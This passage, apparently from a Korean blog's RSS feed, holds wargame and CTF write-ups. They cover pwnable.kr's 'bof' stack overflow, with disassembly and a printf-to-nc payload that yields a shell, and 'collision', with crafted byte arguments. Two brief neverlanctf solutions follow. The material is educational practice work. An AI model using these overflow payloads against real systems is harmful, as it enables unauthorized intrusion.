&lt;p style=&quot;text-align: center;&quot;&gt;초심자라면 단어가 조금은&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;어렵게 느껴질&amp;nbsp;수도 있지만&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;개념은&amp;nbsp;단순합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;로컬 변수에게 할당된 메모리를&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;초과하여 사용해 예상치 못한 동작을 일으키는 것이죠.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 376px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99DCD04C5C5856C405&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99DCD04C5C5856C405&quot; width=&quot;376&quot; height=&quot;71&quot; filename=&quot;4.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;예를 들어봅시다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Z, Y, X 세개의 크기가 다른 변수가 존재하고 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그 중 Z 변수의 크기는 6칸 이군요.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;여기서 Y를 '.' 와 비교한다면 어떨까요?&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Y 안에는 ':' 가 들어있으므로 False를 반환할 것입니다.&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그런데 여기서 Z에 사용자가 입력을 한다면 어떨까요?&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 373px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/994F964C5C5856C409&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F994F964C5C5856C409&quot; width=&quot;373&quot; height=&quot;72&quot; filename=&quot;5.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이런, Z 값에 할당된 용량을 초과하여&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;데이터를 입력해 버렸군요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;여기서 Y를 '.' 와 비교한다면 어떨까요?&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;본래라면 False를 반환했어야 하는데&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;값이 변조되어&amp;nbsp;True 를 반환하고 맙니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이번 문제에서는&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;overflowme 가 Z가 되고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;0xdeadbeef 임시변수가 Y가 된다고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;생각하시면&amp;nbsp;될 것 같네요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain;highlight:[12,15]&quot;&gt;(gdb) set disassembly-flavor intel
(gdb) disas func
Dump of assembler code for function func:
   0x0000062c &amp;lt;+0&amp;gt;:     push   ebp
   0x0000062d &amp;lt;+1&amp;gt;:     mov    ebp,esp
   0x0000062f &amp;lt;+3&amp;gt;:     sub    esp,0x48
   0x00000632 &amp;lt;+6&amp;gt;:     mov    eax,gs:0x14
   0x00000638 &amp;lt;+12&amp;gt;:    mov    DWORD PTR [ebp-0xc],eax
   0x0000063b &amp;lt;+15&amp;gt;:    xor    eax,eax
   0x0000063d &amp;lt;+17&amp;gt;:    mov    DWORD PTR [esp],0x78c
   0x00000644 &amp;lt;+24&amp;gt;:    call   0x645 &amp;lt;func+25&amp;gt;
   0x00000649 &amp;lt;+29&amp;gt;:    lea    eax,[ebp-0x2c]
   0x0000064c &amp;lt;+32&amp;gt;:    mov    DWORD PTR [esp],eax
   0x0000064f &amp;lt;+35&amp;gt;:    call   0x650 &amp;lt;func+36&amp;gt;
   0x00000654 &amp;lt;+40&amp;gt;:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x0000065b &amp;lt;+47&amp;gt;:    jne    0x66b &amp;lt;func+63&amp;gt;
   0x0000065d &amp;lt;+49&amp;gt;:    mov    DWORD PTR [esp],0x79b
   0x00000664 &amp;lt;+56&amp;gt;:    call   0x665 &amp;lt;func+57&amp;gt;
   0x00000669 &amp;lt;+61&amp;gt;:    jmp    0x677 &amp;lt;func+75&amp;gt;
   0x0000066b &amp;lt;+63&amp;gt;:    mov    DWORD PTR [esp],0x7a3
   0x00000672 &amp;lt;+70&amp;gt;:    call   0x673 &amp;lt;func+71&amp;gt;
   0x00000677 &amp;lt;+75&amp;gt;:    mov    eax,DWORD PTR [ebp-0xc]
   0x0000067a &amp;lt;+78&amp;gt;:    xor    eax,DWORD PTR gs:0x14
   0x00000681 &amp;lt;+85&amp;gt;:    je     0x688 &amp;lt;func+92&amp;gt;
   0x00000683 &amp;lt;+87&amp;gt;:    call   0x684 &amp;lt;func+88&amp;gt;
   0x00000688 &amp;lt;+92&amp;gt;:    leave
   0x00000689 &amp;lt;+93&amp;gt;:    ret
End of assembler dump.&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;링크된 실행파일을 어셈블리어로 보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;가장 먼저 15번 라인이 눈에 띕니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;0xcafebabe 와 [ebp+0x8] 에 있는 값을 비교하고 있군요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그리고 12번 라인을 보면 gets 를 호출하기 전에&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;[esp]에 [ebp-0x2c] 를 대입하고 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;즉 우리가 입력하는 overflowme 의 시작 부분이 [ebp-0x2c]&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;func 함수 호출 인자였던 0xdeadbeef 의 시작 부분인 [ebp+0x8]&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이라는 것을 알수 있죠&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;0x2c + 0x8 = 52 이므로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;52바이트 뒤에 0xcafebabe를 덮어씌워&amp;nbsp;주면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;조건식을 통과할 수 있을 것입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;# ( printf &quot;%52s\xbe\xba\xfe\xca&quot;; cat ) | nc pwnable.kr 9000
ls -l
total 60812
-r-xr-x--- 1 root bof      7348 Sep 12  2016 bof
-rw-r--r-- 1 root root      308 Oct 23  2016 bof.c
-r--r----- 1 root bof        32 Jun 11  2014 flag
-rw------- 1 root root 62243025 Feb  4 07:00 log
-rw-r--r-- 1 root root        0 Oct 23  2016 log2
-rwx------ 1 root root      760 Sep 10  2014 super.pl
cat flag
daddy, I just pwned a buFFer :)&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;쉘을 얻어 flag의 값을 확인할 수 있었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;printf 문 이후에 cat을 써 준 이유는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;송신후에 입력을 닫지 않고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;쉘을 계속 이용할 수 있게 하기 위해서 입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame Writeups/pwnable.kr</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/63</guid>
      <comments>https://posix.tistory.com/63#entry63comment</comments>
      <pubDate>Tue, 5 Feb 2019 00:36:59 +0900</pubDate>
    </item>
    <item>
      <title>Collision 문제풀이</title>
      <link>https://posix.tistory.com/62</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Toddler's Bottle 2번 문제입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이전 문제와 마찬가지로 ssh 계정이 주어졌네요.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:cpp&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i&amp;lt;5; i++){
                res += ip[i];
        }
        return res;
}

int main(int argc, char* argv[]){
        if(argc&amp;lt;2){
                printf(&quot;usage : %s [passcode]\n&quot;, argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){
                printf(&quot;passcode length should be 20 bytes\n&quot;);
                return 0;
        }

        if(hashcode == check_password( argv[1] )){
                system(&quot;/bin/cat flag&quot;);
                return 0;
        }
        else
                printf(&quot;wrong passcode.\n&quot;);
        return 0;
}&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;접속하면 소스코드가 주어지는데요.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;프로그램 실행 인자를&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;int 포인터로 캐스팅하여&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;20 바이트, 즉 int 변수 5개를&amp;nbsp;더하여&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;0x21DD09EC가 되면 플래그를 출력하도록 되어 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 625px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/991ECA335C5822F50B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F991ECA335C5822F50B&quot; width=&quot;625&quot; height=&quot;67&quot; filename=&quot;2.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;먼저 입력이 20바이트로 제한되어 있기에&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;20바이트의 공간을 마련했습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 621px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997683445C582B2107&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997683445C582B2107&quot; width=&quot;621&quot; height=&quot;66&quot; filename=&quot;10.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;NUL은&amp;nbsp;입력으로 사용할 수 없기에&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;int 하나를 제외하고는&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;모두 0x01010101 로 채워 넣었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:py&quot;&gt;&amp;gt;&amp;gt;&amp;gt; hex ( 0x21DD09EC - ( 0x01010101 * 4 ) )
'0x1dd905e8'
&lt;/pre&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;목표값인 0x21DD09EC에서&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;0x01010101 * 4 을&amp;nbsp;빼면&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;0x1DD905E8&amp;nbsp;이 됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 622px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997849445C582B213C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997849445C582B213C&quot; width=&quot;622&quot; height=&quot;82&quot; filename=&quot;11.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;인텔 cpu에서는 변수를&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;리틀 &lt;a href=&quot;https://ko.wikipedia.org/wiki/%EC%97%94%EB%94%94%EC%96%B8&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;엔디안&lt;/a&gt;으로&amp;nbsp;저장해야 합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 역순인 E8 05 D9 1D&amp;nbsp;로&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;첫번째 변수를 작성하면 되겠군요.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:bash&quot;&gt;col@ubuntu:~$ ./col $'\xE8\x05\xD9\x1D\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'
daddy! I just managed to create a hash collision :)
&lt;/pre&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;작성한 것을 바이트 형식 인자로 전달해주면&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;플래그를 얻을 수 있었습니다.&lt;/div&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:bash&quot;&gt; echo -en '\xE8\x05\xD9\x1D\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01' | xargs ./col&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;echo와 xargs를&amp;nbsp;이용해서 인자를 전달하는 방법도 있습니다.&lt;/p&gt;</description>
      <category>Wargame Writeups/pwnable.kr</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/62</guid>
      <comments>https://posix.tistory.com/62#entry62comment</comments>
      <pubDate>Mon, 4 Feb 2019 21:13:30 +0900</pubDate>
    </item>
    <item>
      <title>neverlanctf 2019 - React to this writeup</title>
      <link>https://posix.tistory.com/61</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 488px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/995AA4405C580A9D2E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F995AA4405C580A9D2E&quot; width=&quot;488&quot; height=&quot;415&quot; filename=&quot;1.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;a href=&quot;https://ko.wikipedia.org/wiki/%EB%A6%AC%EC%95%A1%ED%8A%B8_(%EC%9E%90%EB%B0%94%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8_%EB%9D%BC%EC%9D%B4%EB%B8%8C%EB%9F%AC%EB%A6%AC)&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;React&lt;/a&gt; 사이트를 잘못 설정 한 것 같다고 합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C0F4405C580A9D32&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C0F4405C580A9D32&quot; width=&quot;820&quot; height=&quot;79&quot; filename=&quot;2.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;사이트가 주어지는데&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;링크들은 모두 더미 링크로&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;어떤 힌트도&amp;nbsp;얻을 수 없었습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 493px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/998E4E405C580A9E33&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F998E4E405C580A9E33&quot; width=&quot;493&quot; height=&quot;100&quot; filename=&quot;6.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그러던 중 소스코드에 flag가 하드코딩 된 것을 확인할 수 있었습니다 ;;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99FA0C405C580A9D2B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99FA0C405C580A9D2B&quot; width=&quot;820&quot; height=&quot;77&quot; filename=&quot;5.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;더 난독화하거나&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;서버를&amp;nbsp;통해 인증을 한다거나 했으면 좋았을텐데&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;뭘 해볼것도 없이 소스코드에 그대로 나와있으니&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;씁쓸합니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>CTF Writups</category>
      <category>neverlanctf</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/61</guid>
      <comments>https://posix.tistory.com/61#entry61comment</comments>
      <pubDate>Mon, 4 Feb 2019 18:57:28 +0900</pubDate>
    </item>
    <item>
      <title>neverlanctf 2019 - purvesta writeup</title>
      <link>https://posix.tistory.com/60</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 486px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/991501355C5808E02F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F991501355C5808E02F&quot; width=&quot;486&quot; height=&quot;400&quot; filename=&quot;1.PNG&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;75점의 purvesta 문제입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;깃허브로 페이지를 호스팅 할 수 있으면 좋겠다고 합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99124C355C5808E02F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99124C355C5808E02F&quot; width=&quot;820&quot; height=&quot;221&quot; filename=&quot;2.PNG&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그런데 깃허브에선&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이미 페이지 호스팅을 하고 있지요?&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;깃허브 페이지는 기본 도메인이&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;github.io 로 끝난다는 것을 기억해보면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9959FB355C5808E02D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9959FB355C5808E02D&quot; width=&quot;820&quot; height=&quot;360&quot; filename=&quot;3.PNG&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;purvesta.github.io 페이지에서&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;자료를 확인할 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;페이지의 링크를 따라가니&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;플래그를 확인할 수 있었습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99D80A355C5808E130&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99D80A355C5808E130&quot; width=&quot;820&quot; height=&quot;170&quot; filename=&quot;4.PNG&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br 